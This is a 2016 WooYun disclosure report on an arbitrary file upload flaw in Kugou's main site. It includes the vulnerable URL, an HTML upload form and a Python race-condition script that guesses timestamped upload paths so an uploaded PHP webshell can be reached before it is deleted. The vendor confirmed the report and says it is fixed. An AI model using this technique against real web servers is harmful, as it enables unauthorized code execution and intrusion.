当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0208816

漏洞标题:酷狗主站的一处任意文件上传可shell

相关厂商:酷狗

漏洞作者: 李长歌

提交时间:2016-05-15 10:09

修复时间:2016-06-30 10:00

公开时间:2016-06-30 10:00

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-15: 细节已通知厂商并且等待厂商处理中
2016-05-16: 厂商已经确认,细节仅向厂商公开
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

酷狗主站的一处任意文件上传可shell。

详细说明:

存在任意上传的地址为 http://www.kugou.com/kf/kf/app/upload.php
保存html文件然后上传

<html>
<body>
<form action="http://www.kugou.com/kf/kf/app/upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="imgFile" id="imgFile" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


得到一个路径 {"error":0,"url":".\/upload\/1463241818.php"}
但是我们访问http://www.kugou.com/kf/kf/app/upload/1463241818.php 无法找到网页

QQ截图20160515005421.jpg


上传瞬间 就被删除了。
利用条件竞争,在被删除之前生成一个shell,上传之后的路径可以猜测到
写个脚本在上传php文件的时候同时进行猜测访问路径

import urllib2  
import threading
import time
def request_uri():
uri = 'http://www.kugou.com/kf/kf/app/upload/%s.php' % str(time.time()).split('.')[0]
try:
req = urllib2.Request(uri)
response = urllib2.urlopen(req).read()
print 'except %s' % uri
print response
except Exception, e:
pass
def start():
threads = []
for i in xrange(30):
threads.append(threading.Thread(target=request_uri))
for t in threads:
t.start()
for t in threads:
t.join()
if __name__=='__main__':
while True:
start()


QQ截图20160515000124.jpg

漏洞证明:

QQ截图20160515004422.jpg


QQ截图20160515004918.jpg

修复方案:

shell已删,修复

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-05-16 09:56

厂商回复:

谢谢提交!

最新状态:

暂无